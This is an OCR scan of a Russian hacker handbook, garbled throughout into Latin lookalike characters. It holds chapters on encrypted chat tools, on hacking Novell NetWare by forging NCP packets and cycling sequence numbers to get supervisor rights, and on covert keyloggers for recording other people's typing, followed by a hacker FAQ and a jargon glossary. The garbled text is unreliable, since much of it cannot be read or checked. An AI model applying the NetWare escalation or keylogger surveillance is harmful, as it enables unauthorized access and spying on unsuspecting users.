pasroBopa Hy>Ho 3HaTh I P-anpec cobecenHuKa Wi BOCIIOAb30BaThCs on-line
directory service, aHajgoru4yHbIM ToMy, 4TO ecThb B Netscape CoolTalk, MS
NetMeeting wiu [Phone, TonbKo BOT OH He paboTaeT HUKoraa. Ho ato mpo-
OsieMa He Oosbllast Ul yMeJbIX PYK (MO3roB), BCeraa MOXHO CHavyajia BCTpe-
tuthest Ha IRC wm ICQ, y3Hath IP-agpec u joroBopuThCst 0 mapoJie, a 3aTeM
nepeiitu Ha Secure Communicator, KOTOpbIA MO3BOJISIET BeCTU Oeceny Kak
B mIRC.

ITiroxast HOBOCTb COCTOUT B TOM, UTO evaluation copy, a 3T0 UMEHHO TO,
YTO BBl MOKETE CKayaTh B CETH, Pa3rOBapuBaTh MO3BOJISIET, a BOT IIMGPOBATh
pasroBop He JaerT.

CailT GUpMbI-IIPOM3BOAUTEINSI HE JAaeT HUKAKOI MH(MOPMAIIMU O METO-
nax mubpoBKU, MPUMEHEHHBIX B porpaMMme. A rporpamMmme, Iporu3BOIUTENN
KOTOPOM Jaxe, MPOCTUTE, HE IMOoYecaluch paccKasaTh IOJIb30BaTeNI0, Ha-
CKOJIBKO TIOJIb30BaTe/Ib 3alllMILEH, JAOBEPSATh Heab3s. CpaBHUTE C TOH ke
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PGP, xoTopas naxe nporpamMMHBblii Koa onyoirKoBaia! Takoro 6eccomepxka-
TEJIbHOTO CaiiTa aBTOp ellle HUKOoraa He Buaes. Y HaneeTcst HE yBUIETD.

Directory service He paboTaeT, yTo HeynooHo. I1paBma, MmoxeT, 3apabo-
TaeT, HO BPsI JIU.

Internet-teAnedpoHus

IMpekpacHbBIi TPOAYKT IJIST T€X, KTO UMEET XOPOIIIYIO TeIe(OHHYIO JTH-
HU10, OBICTPBII MOJIEM 1 3ByKOBYIO KapTy — 310 PGPfone. On oGecnieunBaet
HaJeXXKHEMUIIYyI0 KPUMITO3AIINUTY U ITO3BOJISIET OOIIATHCS HE TOJIBKO B CETH, HO
U TIPOCTO C IPYTUM TeJIe(OHHBIM aGOHEHTOM HAPSIMYIO.

AnaBa 35.
Kak BsaanomaTtb Novell Netware

Kak BbI 3HaeTe, Bce MoxXeT ObITh cioMmaHo, U NOVELL NETWARE ne
SIBJIsIETCSl UcKTtoueHrueM. OMHaKo BpeMs B3JIOMa Yero-ambo 3aBUCHUT OT Bpe-
MEHM NOoJydeHUsT UHGpopMaluu 06 3TroM. YeM Oosibiiie nHGOpMaLIMK Bbl Hali-
JieTe, TeM TIPOolle BaM OyIeT B3JIaMbIBATh.

MpuHuMn o6MeHa nakeTamMm

IIpexne Bcero, cepBep M pabovyre CTAHIWM TOCHLIAIOT MaKeThl IPYT
JIPYTY B COOTBETCTBUM CO CIEHMAJIbHBIM IPOTOKOJOM, M3BECTHBIM Kak
Netware Core Protocol (NCP), ocHoBanHbIM Ha nipoTokoJie IPX. Bce makerst
MMOJIMMCHIBAIOTCSI YHUKAJIBHEIM HOMEpOM B amara3oHe oT 0 mo 255, xpaHs-
IIMMCSI B OTHOM Oaiite.

D10 moJie u3BecTHO Kak Sequence Number. MHUIIMATOPOM SIBIISIETCSI
ctaHuMs. OHa MOCKIIAET MaKeT C 3aMPOCOM U XKIeT oTBeTa. CepBep, Mmosydast
3ampoc, MPOBEPSIET aipec CTaHIIMU, aAPec CETH, COKET, HOMEP COeMHEHUS U
sequence number. Eciii 4yTo-HUOYIb HEe B MOPSIAKE, CEPBEP OTKA3bIBAETCS BbI-
TTOJIHSTD 3aIlpalivBaeMylo Oriepalivio ¥ MoChUIaTh OTBET.

O6waga naes BaAoma

CepBep IpoBepsieT Bce ITaKeThl, KOTOphIe OH Mojydaet. Ho eciu cdop-
MUPOBaTh MAKeT, KaK 3TO AeaeT Apyras CTaHIUs, TOCTaBUTh €€ aipec, HOMEp
COEIMHEeHUS U T.I. U MOocaTh ero B CETh, TO CepBEpP HUKOTIAa HE y3HAeT, Yeit
3aIpocC OH BhIMoJHsIeT. OCHOBHAS TPYAHOCTb — sequence number, TOTOMY YTO
JIPyTHE T0JISI MOTYT OBITh ITOJyYEHBI C TIOMOIIbIO OOBIYHBIX (PYyHKLIMIA. YTOOBI
OBITb YBEPEHHBIM, UTO CEPBEP BBHITTOJIHWII OTEpalnio, HyXKHO MOocaTh TOT XKe
caMblii makeT 255 pa3 ¢ pa3HbIMHU Sequens numbers.
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Kak noAyuYnTtb NpaBa cynepemsopda

Bbl MoxeTe TIOJIYYUTHb IIpaBa CyIi€pBU30pa, IMpOCTO CTaB €ro 3KBMBa-
JICHTOM.

Ectb dynkuus, uzsectHast kak EQUEVALENT TO ME, kotopyto cie-
JyeT TIOChUTaTh OT UMEHM CylepBu3opa. Bel MoxeTre mociaTh MakeT 4yepes
IPX-npaitBep, oqHAKO B 3TOM CJIy4ae Bbl HE UMeeTe TOCTYIMa K (PU3NUeCKOMY
3arosioBKy nakeTta. Ckopee BCero, CEpBEp He MPOBEPSIET apecC OTIIPAaBUTEIIS
TaM. Bbl Takke MoxeTe rociaTh naket yepe3 LSL-apaiiBep, HO 3TO cauiIkoM
CJIOXKHO.

MocAeAcCTBUS

ITocne oTBeTa HA MAKET CepBEP XKAET CIAEAYIOLIErO, C YBEJTUUEHHBIM Ha
eInHUILy sequence number’oMm. Eciv BBl TOMbITaeTeCh BCTABUTH Balll TTaKeT B
paboTy MEXIy CepBEPOM M CTAHLIMEN, MOCIEIHSSI OBUCHET. DTOI0 MOXKHO
n30exarh MOCBUIKOM elle 255%256 makeTos.

Ecnu BBl peanusyeTe mporpaMmy, y Bac OyayT ImpaBa cynepBuzopa. Mbl
HaJeeMCs, UTO Bbl He OyneTe BpeIUTh TAKUM Ke TTOJIb30BATENISIM, KAKUM BbI 10
9TOrO ObLIN.

fAnaBa 36.
YTO NOMHUT KOMMbIOTEP

CylecTByeT BO3MOXKHOCTD 3aITMCH TOTO, YTO BBI IT€YATAETE HA UyKOM
KOMIIBIOTEDE, BJIaJeIbIEM 3TOr0 KOMIIbIOTEPA, WIIH, €CJIM CMOTPETH Ha 3TO C
JIPYrOii CTOPOHBI, Ballle MPaBoO MOCMOTPETh, YTO TBOPWJIOCH Ha BallleM KOM-
MbIOTEPE, MOKA Bac He ObLIO B oduce.

M 1o, u apyroe nenaercss OAHUM METOAOM: BCE, UTO HaOMpaeTcsl Ha
KJIaBHAType, 3aHOCUTCSI B TEKCTOBBIN (haiijl crielMaJbHOM ITporpaMmoii. Tak
yTO HAOpaHHBIA BaMM TEKCT Ha KOMIIbIOTepe B Ou3Hec-mIeHTpe win Inter-
net-kage MOXET JIerKO CTaThb JOCTOSIHMEM BJIaJiefiblla TAKOrO KOMITbIOTEpA.
TexHuyecku Takas orepaiys BBIMOJHIETCS KJIAaCCOM MPOrpamMM, Ha3bIBae-
MbIx keyboard loggers. OHM CyIIIECTBYIOT JUISI pa3HBIX OIIEPAIIIOHHBIX CUCTEM,
MOTYT aBTOMaTUUECKHU 3arpy>KaThCs MPU BKIIOYEHUU U MACKUPYIOTCS O], pe-
3UACHTHbBIE AaHTUBUPYCHI WU YTO-HUOYIb el1lie MOJIe3HOe.

Camag nryuinas u3 ornpo6oBaHHbIX porpamM, Hook Dump 2.5, Hanu-
caHHast Mnbeit OcumoBbIM, MOXET aBTOMATUUYECKU 3arpy>KaThCsl MPY BKITIOUE-
HUU KOMITbIOTEPA, NMPU 3TOM HUKAK HE MPOSIBJISISl CBOETO MpUCyTcTBUs. Ha-
OpaHHBII Ha KJIaBUAaType TEKCT, Ha3BaHMSI MPOTPaMM, B KOTOPbIX Habupacs
TEeKCT, 1 Jaxe cKpbIThiid mapob B Dial-Up Networking, KoTopkblii BooOI1Ie He
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Habupaycsi, — BCe 3aIIUChIBacTCs B (hailyl, pacloOKCHHBIM B JIIOO0M TUPEK-
TOPUU ¥ TTOM JTIOObIM MMeHeM. [IporpaMMa mmMeeT MHOTO HaCTPOEK, TO3BOJIS -
IOIIUX ONPEAEIIATh HYXKHYIO KOH(MUTYpAITHIO.

Hpyras oripo6oBanHast mporpamma st Windows —Keylog npu 3arpys-
Ke IpeBpaliasach B MAJIONPUMETHBINT MUHUMU3UPOBAHHBINA TTPSIMOYTOJIBHUK
Ha taskbar'e , CIMBaIOIIMIACSI C HUM IIBETOM 1 HEe UMEIOIIMIA Haamucu. Makcu-
MU3alus IPUBOIUT K MOSIBJICHUIO HEOOJIBIIIOTO OKHA ¢ HAAMMCchio Minimize
this window. JIJ1st HEMCKYIIIEHHOTO TI0JIb30BaTeJ s BHIIVISIIUT BIIOJIHE HEBUHHO.

Kpome Ttoro, cymectByer nporpamma Hidelt, mo3Bossiomnias yoparb
¢ 5KpaHa wiu taskbar'a 11060e OKHO (MJIM HECKOJIBKO OKOH) Y IPEBPATUTh UX
B MaJICHbKYIO MKOHY B system tray.
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YacTo 3apaBaemMbie
BOMPOCHI

Kak Hayuutbcs xakepcTey?

CHavaJia Hay4YUTeCh HeCKOJIbKIM BellaM camu. [lokaxuTe, 4To cTapa-
€TeCh, UTO CIIOCOOHKI K CAMOCTOSITEIbHOMY 00y4eHuI0. M yxXe moToM oTIpaB-
JITATEeCh K 3HAKOMBIM XaKepaM C BOIPOCaMHU.

FA€ HaNTU HOCTOSALWMX XAKEPOB, YTO6bl C HAMW NOrOBOPUTL?

CaMplii Jy4IIvii criocod — HaWTU Ballly MECTHYIO TPYIIITY IT0JIb30-
Bateneir Unix wim Linux ¥ cXOOUTh Ha MX BCTPeYM (CCBHUIKA Ha HECKOJIBKO
CITMCKOB TPYIIIN MOJIb30BaTeseit MOXXHO HaiT Ha ctpanuiie LDP Ha Sunsite).

Kakow §13bIKk CAeAYeT Bbly4UTb NepBbiM?

HTML, eciu BH ero emie He 3HaeTe. EcTb Macca pacdydblpeHHBIX
U notpscatolie 6e3gapHbeix KHUT 1o HTML, Ho obecKypaXkuBalolie Majao X0-
poumnx. OgHa u3 Hux: The Definitive Guide.

Ho HTML — 3T0 He mOTHOLIEHHBIH S3bIK ITporpaMMupoBaHusi. Korna
Bbl MTOYYBCTBYETE, UTO TOTOBBI HA4YaTh MPOTPAaMMUPOBATD, JIydllle BCErO Ha-
yaTh Cc sA3bika Python. MHorue jmoau OyayT peKOMeHI0BaTh BaM HAuWMHATb
¢ Perl, u oT0T s13BIK O0OJIEEe MomnyJsipeH, yeM Python, HO ero cioxHee BbIyYUTb.

Cu — IeCTBUTEIbHO BaXKHBIN SI3bIK, HO OH M HAMHOTO CJIOXKHEe, He-
xenu Python wiu Perl. He nibiTaliTech BBIy4UTD €TI0 TIEPBHIM.

A He CTAHEeT AU TAK, YTO U3-3A MPOrPAMM C OTKPbITbIM UCXOAHBIM KO-
AOM NMPOrpaMMmUCTAM 6YAET HE HA YTO XUTb?

Hy, ato Bpsin u. [1oka 4To, moxoxke, MHAYCTPUS IIPOrpaMMHOI0 00ec-
MeYeHHsl C OTKPHITHIM MCXOIHBIM KOJIOM CKOpee co3aaeT paboune Mecrta, He-
XKeau ux cokpaiaer. Ecim skoHoMuuecku 0osiee MpUOBbLIBHO UMETh HaIM-
CaHHYIO TIPOrpaMMy, YeM TaKoil MporpaMMbl HE MMETb, TO MPOrPaAMMUCTY
OyIyT MJIaTUTh HE3aBUCHMO OT TOTO, CTAHET JIM 3Ta IIporpaMMa OecrjiaTHOI
nocie ee cozgaHus. M, He3aBUCMMO OT TOTo, KaK MHOTO OyIeT HamucaHO
«0eCIUIaTHBIX» MpOrpaMM, Bcerda ele OoJibllie OyAeT 3allpOCOB Ha HOBBIE
U CMeLMAIU3MPOBAHHbBIE MTPUITIOXKEHUSI.
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[MpUAOXKeHuUs

SAEMEHTbI XKAProHa XaKepos

backslash
OaKc31 — 00paTHas Kocasl yeprta (Ha3BaHUE CUMBOJIA).

backspark

03KCITapK — 3aKphIBafolast KaBbluKa (Ha3BaHWe CUMBOJIA).

bang

OBHI — BOCKJIMLIATE/IbHbIN 3HAaK (Ha3BaHUE CUMBOJIA).

barf

06apd — BbIpaxkaTh HEAOBOJILCTBO (IEMCTBUSIMU MOJIb30BATENSI CO CTO-
POHBI CUCTEMBI).

beetle

OUTII — «<Ky4OK» (KOOpAMHATHBII MAaHUTTYJISITOP IS YITPaBICHUS Kyp-
COpOM).

bells and whistles
0eJ13 HI YUCII3 — HEHYKHBIC CBOMCTBA IIPOTrPaMMBI, «YKPAIIICHMS».

bird whirley

0eJ BURJIM — HAKOMUTEIb Ha TUCKAX, «BEPTYLLIKA».
bit
OUT — CBeIEHUS.

blackboard

619K60pa — (KiaccHas) qocka (00J1acTh aMSITH, OOILEIOCTYITHAST JIJIsT
BCEX MOIYJICI CUCTEMBI).

MpnaoxeHus

porpamme).

bletcherous
Onetyepac — Ge3mapHbIii, 6e3M1apHO BBHITIOJIHEHHBIN (0 CUCTeMe WU
bogotify

GoroTrdail — Ae30praHM30BaTh (CUCTEMY WJIU IIPOTPAMMY).

bomb

060oM — OoM0Oa (HeBepHasi KOMaH/1a, BbI3bIBaIOIIasl IOPYY IIPOrpaMMBbI).

bracket
OpBaKeT — 3aKJII04YaTh B CKOOKHU.

curly brackets
Kepiu OpaKeTc — (PUTYpHBIE CKOOKM.

squiggle brackets

CKBUTJI Op3KeTC — (PUTYpHBIE CKOOKU.

breedle
OpumT — pe3Kuit 3ByKOoBOI (DOH (paboTaroliero TepMmuHaa).

brocket
OpPOKET — 3HAK «OOJIbIIIe» WIN «MEHBIIIE».

left brocket
J1eT OPOKET — 3HAK «MEHBIIIE».

right brocket

paiiT 6poKeT — 3HaK «OOJIbLIE».

bum
Oam

* «YnyumaTb» (HarpuMep, IporpaMMy LIEeHOI MOTepu ee
YETKOCTH).

* Mernkoe «yaydilieHre» (0ObIYHO JIUIIIHEE).
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buzz
0a33

* «3aBHCaTh», «XyxXKaTh» (00 DBM, paboTaroicii B KOpPOTKOM
IIUKJIE).

* «XKyxxkaTb» (06 DBM, paboraroliieii B KOPOTKOM LIUKJIIE).

close
KJI0y3 — 3aKphIBalolas (Kpyrias) ckooka (Ha3BaHHe CUMBOJIA).

cokebottle
KOYKOOTJI — HECYIIECTBYIOIINI CUMBOJI (Ha KJIaBHAType).

computiron
KOMITIBIOTPOH — KOMIIBIOTPOH (MI/I(I)I/I‘IeCKaH yactula BBIYUCJICHUN

nn nHdopmann).

Kepa).

cons
KOHC — CUHTE3UPOBATh LIEJIOE 13 YACTEM.

crif
BO3BpAT Kap€TKU C I€PEBOAOM CTPOKMU.

cracker
Kp3Kep — KpaKep, MOXUTUTEIb MH(popMaluuu (pa3HOBUIHOCTh Xa-

crock
KpPOK — XpyIKas (HeycToitunBasi) mporpamma (0osiasics MU3MeHeHU !,

rpoMo3snkasi KoHcTpykius), MOHCTP.

crockitude
KPOKHUTBIOA — IPOMO3IKOCTh, TUTAHTU3M (IIPOrPAMMBI).

crocky
KPOKU — XPYHIKU, OOSIIIMIACST M3MEHEHNH (O IIporpaMme).

cruft
Kkpadrt
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* HecobupaeMslit mycop.
* HenpusiTHoe cBOWCTBO MPOrpaMMbl.
* Xauntypa (pe3yabTaT HelIoOPOCOBECTHOM MPOrpaMMUCTCKOM
paboThI).
to cruft together
Ty KpadT Tyre3e — CMacTEPUTh Ha CKOPYIO PyKy (IIporpamMmy).
cruftmanship
KpahTMBIHIINI — XaiTypa (IJIOXO BBHITIOJTHEHHAsT TTPOTPaMMUCTCKAsK
pabota).

crunch
KpaHY — 3HaK #, nues.

cycle
CaliKJl — KBAHT BBIYMCJIEHUMA.

duty cycle

JNBIOTU CaMKII — JEXYPHBIA [IAKII.

stolen cycle
CTOYJISH CaMKJI — 3aXBAYECHHBIN LIMKIL.

day flag

121 piar — «aeHsb ¢iiara» (CpoK BHECEHUS B CUCTEMY U3MEHEHMI, KC-

KJTIOYAIOIIMX BO3MOXKHOCTh HCIIOJIb30BaHMSI paHee SKCILTyaTUPOBABIIMUXCS
IIpOrpaMMm).

DDT

JAT (mmHamMmdeckoe CpeacTBO IS «BBIBEASHUS» B IIpOrpaMMax IIpo-

rpaMMHBIX OIIIMOOK)

bit decay

OUT AMK3I — pacnan OuT, OUTOBBIN pacmaj (SBJISIIOIIMACS «TTPUIK-

HOIi» HEpabOTOCMOCOOHOCTH [10JITO HE UCTIOIb3YEMBIX TPOTPAMM).
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delta
nenTs

* He6onbioe usmeHeHue (Hanmpumep, B IporpaMme).

* HeG6onbioe konm4yecTBo, aeabTa, Kycouyek (Hampumep,
naMsITH).

within delta of
BU3UH JIeIT3 0¢ — B Ipeaeaax AeJbThl (IIOYTH TOYHO).

diddle

AT — CMAcTepUTh HacTieX (Iporpammy).

dike
JaiK — yJoaJisiTh, 3ariylaTh (HarpuMep, 1e(eKTHYIO 4acTh MporpaM-
MBI 1151 00ecTiedeHus1 paboTOCITIOCOOHOCTH TIOCIETHE ).

dpb
BCTaBJIATh (HAIIpUMep, JOTOJTHUTENbHBIE OUTHI B OMTOBYIO KOH(UTY-
paLuio).

dracon

NIPeiKOH — JIpakoH (CUCTeMHas Mporpamma, rnepuoanyecku BbIOI-
HSIO1IAs1 CITy>kKeOHble DYHKIIMY HE3aMETHO JIJIsI TTOJIb30BATEJIs ).

drawing
JNPOYUHT — YEPTEXHbIC JaHHBIE.

hardcopy drawing

XapAKONU APOYUHT — JOKYMEHTAIbHBIN YyepTeX (B OTIMUME OT CYILIe-
CTBYIOIIIETO HA 9KpaHe TUCTLIEs ).

cycle drought

caiikji mapayT — To[caaKa IPOU3BOIUTEIBHOCTA (TIPUBOISIIAS
K YMEHBIIEHUIO BBIYMCIUTEIBHON MOITHOCTH, HAIIPUMED, B PE3yJIbTaTe BbI-
KJIIOUEHHUS U3 PaOOThI HEKOTOPBIX OJIOKOB CCTEMBI).

dwim
IIBUM — HEHYXHas 100aBKa (yCIOXHSIONIAS IIPOrpaMMy).
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ears rabbit
U3P3 PIOOUT («KPOJIUUBM YILIN») — IBOMHBIE KABBIUKH.

embrace
UMOpaiic — JeBas (pUrypHasi CKooKa.

english
UHIJIMII — TIporpaMMa Ha A3bIKE BBICOKOTO YPOBH4.

epsilon
UIICUJIOH — HUYTOXHO MaJIO€ KOJIMYECTBO, SIICUIIOH.

epsilon over
UIICUJIOH OYB€ — MCHBIIC SIICUJIOH.

epsilon squared
UTMCWIOH CKY3pP[
* DICUIOH-KBaAPAT, IPEeHeOPeXXKUMO Majoe KOJIUIECTBO.

* [IpeHeOpexMo MaJIbIiA.

within epsilon of
BU3UH UIICUJIOH 0(1) — B IIp€acjgax 3IICUJIOH.

within epsilon of working
0¢ YOKUHT — IIOYTU COBCEM paboTarolnit (0 Iporpamme).

cratered error

KpeuTapa 3ppop — BOPOHKA (TUI OLIMOKY, He IMMO3BOJISIONIECH ITPOA0JI-
JKaThb BBITOJTHEHHUE TTPOTPAMMBI).

fencepost error

deHcrocT appop — omMbKa Ha eIUHUILY, OITMOKA «IT0CTa OXPAHEHUSI»
(TIpY KOTOPOI YMCJIO IIUKIIOB UTEPATUBHOTO TIPOIiecca OKa3hIBaeTCs Ha el -
HUILy MEHBIIIe YUIK OOJIbIIIe HEOOXOMMOTO).

off-by-one error

odd 0ait yaH 3ppop — OoIMOKa 3aHMKESHUS WJIM 3aBBIIICHUS Ha eI~
HULY (YMCIIa TTOJCYUTHIBAEMBIX OOBEKTOB).
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fail flush
(oaiin — 3amnsTas (Ha3BaHWE CUMBOJIA). dnam

. IMomaBiasaTh (HEHYXHYIO HH(MOPMALIMIO B ITAMSITH),
feature (HEHYKHYIO HHbOp )

BBIKJTIOUYATH(CS1) U3 PaOOTHI.

(bnya — HeHyXHOEe CBOCTBO MPOTrPaMMBbI.
* BrixkitiouaTs(cst) U3 paboTHI.

creeping featurism

KPUITMHT (PUUEPU3M — TIOJI3YUUI «YIyUIIN3M» (CTPEMIIEHHE K TTOCTO-
STHHBIM HEHY>XHBIM YCJIIOXKHEHUSIM TIPOTPaMMBI 3a CUET MEJTKMX YIYJLIEHU).

frob

¢pob — mporpamMmMmka.

feep frob (nicate)
(UM — POBHOE KyxKaHMe (PaGOTAIOLIETO TEPMUHAIA). (ppob6 HUKOUT — OecueTbHO MaHUMYJIMPOBAaTh (KJIABUIIAMM Ha
IIyJIbTE).
fla
P fry

G310 — cMaTBIBATh JICHTY (11 OCBOOOXKICHMS MAaTHUTO(OHA APYTOMY

TTOJIH30BATENI0), OCBOOOXIATh MAIIINHY. (bpaii — BbITH U3 CTPOSL, CTOPET.

flatworm fadge
(bI3TYOpM — TOMYePKUBAIOIIAs YepTa (Ha3BaHUE CHMBOJA). omx
* «CocrtpsinanHas» (Hacmex) mporpaMmma.
flavor
. * IMogorHath Moj OTBET.
daeiise
* PasHoBuIHOCTH (HammpuMep, TUIIOB KOMAaHL). garbage-collect
. KpacoTa (Kak CBOJCTBO CHCTEMBI WM ITPOrPaMMBbl), rapOULK-KOJLIEKT — cOOupaTh Mycop.
«U3IOMUHKa».
gear
to yield a flavor JIXU3 — 3HAK «3BE30YKa».
Ty WA 5 JeiiBe — mpuaaBaTh KpacoTy (CUCTEME WIM IIporpaMme).
gedanken
flavorful TeIPHKEeH — HeOoAeTaHHbIN (00 aIropuTMe WA IIPporpaMme).
GsiiBadyn — akKKypaTHBIN, KPaCUBBIM, C «M3IOMMHKOI» (O cucTeme i
WM TIporpaMme). glitch
TJIATY
* COoi1, naBaTth cOOM, COOUTH.
* I'uTy, 3ackoK (y mporpaMMKcTa).

* 3acTonopuBaThCsl, OYKCOBATh.
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. IIpockakuBaTh, IPOIBUTATHCS TOYKAMU (T10 SKPaHY
TUCTUTES ), IePraThCs.

glork

IJIOPK — cOUBaThCs (C HOPpMaIbHOTO (DYHKIIMOHUPOBAHMS ).

gobble

ro0J1 — XBaTaTh, BEIXBAaThIBATh, IOIJIOLIATH (HAIIpUMep, JaHHbIE U3 0y-

¢epHOI TamMaTn).

to gobble down
Ty TOOJ JayH — OTXBaTUTh (Hampumep, Ae(PUIIUTHYIO IIPOrpaMMHYIO

JIOKyMEHTAIINIO).

gobbler

rodjiep — 2JIEMEHT, YCTAaHABIMBAIOIINI BCe BXOAHbBIC JIMHUU B ITyCTOE

COCTOsSIHHE.

grind
rpaiH

* IIpupaBaTh (IIporpaMme) 3CTeTUYECKUIT BULI (pacmosiarast
HauIeXXalM o0pa3oM CTPOKHU JIUCTUHTA, UG OBaTh
IIporpaMmy).

. IMepemaibIBaTh, MHOTOKPATHO TIPOKPYIMBATH (OECITONIEC3HYIO
3a1a4y).

grok

IPOK — IIyOOKO IMOHMMATh, pa3oUpaThesl, ObITh 3HATOKOM (HaIrpuMep,

ONePaIIMOHHOM CUCTEMbI BO BCEX €€ TOHKOCTSIX).

gronk

IPOHK — OTKJIIOYaTh (YCTPOMCTBO).

gronked

* Hcromennsiii paboToii (0 haHATUIHOM IIPOIPAMMICTE).

* AOCOJIIOTHO HEPabOTOCTIOCOOHKIN (00 YCTPOICTBE,
IporpaMmme).
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grovel
TpOYyB3JI

* Prickarsb (6€3 BUIMMOTO pe3ysibTaTa, HallpuMep, mpu
npocMoTpe (aition).

* Il tynupoBath (HampuMep, TOKyMEHTALUIO Ha CUCTEMY).

to grovel obscenely
Ty TpOyBeJ OOCUHJIM — IMPOAUpaThes (HalpuMmep, yepe3 aedpu mpo-

IrpaMMHOM JOKYMEHTAIIUM).

gubbish

rabuIn — HeIpUrogHas (s UCTII0Ib30BaHMs) MH(POPMAIIUS, MYCOp.

gun (down)
raH (1ayH) — HACUJIbLCTBEHHO MpPEepbIBaTh (MpOorpamMmy, OGECIiOse3HO

3aHMMAIOIIYI0 MAllIMHHbBIE PECYPChI).

hack

X3K

* Kycok paGoTsl (BBIIOIHSIEMBIN B CITEIIKE).

* IMoaenka (pe3yabTaT MOCMEIIHOTO BHIITOJHEHUST KycKa
paboThl).

* Tonkas roBenupHasi padbora (TpeOyrolasi podeccruoHaIbHOTO
MacTepCTBa U UHOT/A JOJITOTO BPEMEHH ).

* Bepx coBeplieHCTBa, «<KOH(PETKa».

* Kypnes, 3ab6aBa; 3a0aBisiThes (pu paboTe Ha MallIMHE).

* OO0maThes (C BEIMUCIUTEIFHOM MAIIMHOMN ).

* M3yuaTh, ocBauBaTh, BJe3aTh (B TOHKOCTHU CJIOXHOM
MPOTrpaMMbl UJIU CUCTEMBI).

* CroHsThCS 6e3 nejia, youBaTh BpeMs B OXKMIAHUU BBIXOAa Ha

MalIuHYy.

for hack value
¢op X3K BaJIbI0 — paau 3a0aBbl (0 paboTe Hax OecIoNe3HO, HO He-

00BIYHOI MpOrpamMmoii).



MpnaoXxeHus

295

MpnaoxeHus

to hack together
Ty XOK TYI€33 — KOMIIOHOBATh HACIICX, CKOJIa4YnuBaThb.

to hack up (on)
Ty X9K aIl OH

* BouInomHSITE TTOAENKY.

* (ITo)paboTaTh (Ham yeM-I1U0O C LIeJIbIO ITOTYyYEHUS XKeJIaeMOro
pe3yJibTarta).

hacker
XaKep
2 ITporpamMucT-aHaThK, XaKep (3aHUMAIOLIUIICS

JMOCKOHAJIbHBIM U3YYeHUEM BBIUMCIMTEBHBIX CUCTEM C LIEIBIO
pacIIMPEeHUST UX BOBMOXHOCTEI).

L 4

[TnonoBuTHI TTpOrpaMMUCT (OBICTPO TIMIIYIINIA XOPOIlIne
MPOrpPaMMBbI).

3HaATOK (KOHKPETHOM IMPOTrpaMMEI).
DKcrepT (B KaKoi-1100 00J1acTh 3HAHUI).

Xakephbl, IIBET 0011IeCTBA TIPOrPaMMHUCTOB.

* & o o

KoMnbloTepHbIil XyIuraH.

hackerese
XaKepu3 — S3bIK XaKepOB, MPOrpaMMUCTCKUI >KapTrOH.

hacking

XaKMHI — TBOpYCCKasA pa60Ta Xakepa.

hackish

XaKUIIl — UCKYCHBIN, XaKEPCKUM.

hackishnees
XaKUITHUC — MPOrpaMMUCTCKOEC NCKYCCTBO, XaKEPCTBO.

hair
X3Up — TpyJoeMKas, CJIoXHas padoTa.

infinite hair
UHOUHUT X3Up — ajackas paboTa (IO HAMMCAHUIO OYEHb CJIOXHBIX

Mporpamm).

hairy
Xaupu
* Ype3MepHO CIIOXKHBIN, HEITOCTYKIMBIA.

* 3HaIOII1i1 CBOE IEJIO, ONBITHBIN, AaBTOPUTETHBIM.

hakmem
X3KMeM — IaMSITKa Xakepa, CIIPaBOYHUK (IIepeuyeHb) Kyphe30B XaKep-

CKOro MCKycCCTBa.

hirsute

XaepchoT

* Ype3MepHO CII0XKHBIN, HEITOCTUKMMBIHA.

L 2 3HaoUIN1 CBOE JEJI0, OTBITHBIM, aBTOPUTETHBIA.
jaggies

IKATTU3 — HEPOBHOCTH, CTYIIEHBKY (ITPY M300pakeHUM JIMHMIA Ha 9K-

paHe aucruiest).

jock
JIDKOK — MPOTPaMMMUCT, TUIIYIIUIA TIPOrpaMMBI «B JI00», HETBOPUYECKMU,

«CKOKEMN».

klu(d)ge
KITaaxx

. Kitymx (ycTpoiicTBO, MporpaMMa W YacTh IIPOTPaMMBI,
KOTOpBIE TCOPETHUECKU He TOJKHBI paboTaTh, HO IIOYEMY-TO
paboTaior).

* Jlsm B mporpamme.

to klu(d)ge around

Ty KJIaaX 3payHI — 00XOIUTD TPYAHOCTH C ITIOMOIIBIO KITya2Ka.
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HUHA.

to klu(d)ge up

Ty KJIaJXK aIl — BCTaBJIATb KITYIK B IIporpamMmy.

learning by doing

JIepHUH 6aii nyuH — obyuyeHue (DBM) Ha COOCTBEHHOM OIIBITE.

learning by example
JIEpHUH 0ali MK3aMILl — obydyeHue (DBM) Ha mpumepax.

learning by generalization
JIpHUH Oail mKeHepalaizaliineH — odydeHue (DBM) myrem 0600111e-

learning from mistakes
JIepHUH (pOM MUCTIUKC — obydeHne (DBM) Ha ommbKax, oOydeH1e

TT0 TIPUHIIUITY «Ha OIMOKaX yJaTcsi».

guided discovery learning
raiiien AMckaBepu JepHUH — obydeHue (DBM) meTonom «Hampasisi-

€MBIX OTKPBITUIN».

rote learning
pOYT JiepHUH — obydyeHue (DBM) MeTonOM «3aydyrMBaHUsI HAU3YCTh»

moby

Moyou

. [TonHOE agpecHOe MIPOCTPAHCTBO.

. AJIlpecHO€e MPOCTPaHCTBO BemnunHOM 256Kb 36-pa3psaHbIx

CJIoB, OJIM3KOE K OMHOMY Meradamury.

munch
MaH4

. IMepemaibiBaTh (MHMGOPMAIIUIO B TIPOLIECCE ITUTEITBHBIX
BBIYMCJICHUIA).

* ITpocnexuBarh CTPYKTYPY JaHHBIX (CBEPXY BHM3).
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mung(e)
MaHTI, MaHI2K

* BHocuTh usmeHeHus B ¢aiis1 (00bIYHO HEOOPATUMBIE),
clTy4yaitHO U3MEHSITh (haii.

* IMoptuTh 4TO-1M60 (CIAYYaHO WX YMBILIJICHHO).

open
OyIeH — OTKphIBamolas (Kpyrjas) ckooka (Ha3BaHHe CUMBOJIA).

monetary prefix
MOHATPU MP3(PUKC — NpedUKC B BUIE 3HAKA ACHEXKHBIX eIMHMII (Ha-

pumep, $).

ooTe).

broken program
OpOyKH MporpamM — HCIOpUYeHHas MporpaMma (He CIocoOHasi K pa-

brute-force program
OpyT-(oc mporpamM — mporpamMma, peiaronias 3agady B «<J100».

crufty program
KpadTu mporpaM — HepaboTocnocoOHasl MporpaMmma.

cuspy program
KacIlu MporpaM — akKypaTHasl (HamexHasl) mporpamma (Xopoulo pa-

OoTaro1ias y JII00bIX IMOJb30BaTelIei).

froggy program

(poru nporpaM — 3aMbICI0BaTasl MPOrpaMMa, XUTpasi PorpaMMa.

grungy program

IPaHIKH IIPOrpaM
. HepsmutvBo HamricaHHas IIporpaMMa.

* HetexHonornueckas nporpamma (Hexxrn3HecriocoOHast
porpamMma).
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QUARTY

